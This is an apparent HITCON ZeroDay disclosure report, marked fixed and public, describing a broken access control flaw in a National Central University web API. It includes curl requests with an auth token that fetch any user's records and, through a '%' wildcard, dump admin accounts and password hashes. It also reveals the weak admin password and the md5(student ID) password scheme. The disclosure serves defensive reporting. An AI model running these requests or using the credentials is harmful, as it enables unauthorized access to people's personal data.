Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2023-00174
- Vendor: 國立中央大學
- Title: 國立中央大學 iHouse 網站 存取控制缺陷
- Introduction: API 允許已登入的使用者查詢任何使用者
處理狀態
目前狀態
公開
Last Update : 2023/06/27
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2023/04/18 23:41:04 : 新提交 (由 maple3142 更新此狀態)
- 2023/04/23 01:26:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/04/24 13:09:55 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/04/24 13:09:55 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/18 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2023/06/20 20:48:27 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2023/06/27 01:06:02 : 確認已修補 (由 maple3142 更新此狀態)
- 2023/06/27 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2023-00174
- 通報者:maple3142 (maple3142)
- 風險:高
- 類型:存取控制缺陷 (Broken Access Control)
參考資料
攻擊者可經由該漏洞取得、修改、刪除系統中的其他使用者的資料,或連線至高權限使用者的頁面。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
`https://spaceme.ncu.edu.tw/rest/member/user/accounts/param`
敘述
已登入的使用者可以拿到一個 authtoken,只要知道學號就能查詢任何其他使用者的資料:
curl -H 'authtoken: $AUTH_TOKEN' 'https://spaceme.ncu.edu.tw/rest/member/user/accounts/param/{學號}'
不只如此,如果學號那邊放入 sql 中 LIKE 的通配符還能查到管理員與測試帳號的資料,其中包含密碼 md5
curl -H 'authtoken: c4e0827c-921e-4941-be4d-95774883d167' 'https://spaceme.ncu.edu.tw/rest/member/user/accounts/param/%25'
另外,根據查到的 hash 發現管理員帳號 sysadmin 的密碼相當的脆弱,直接查表可知密碼是 sysadmin。而學生帳號的密碼 md5 也被發現是 md5(學號),有點太過容易猜到
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。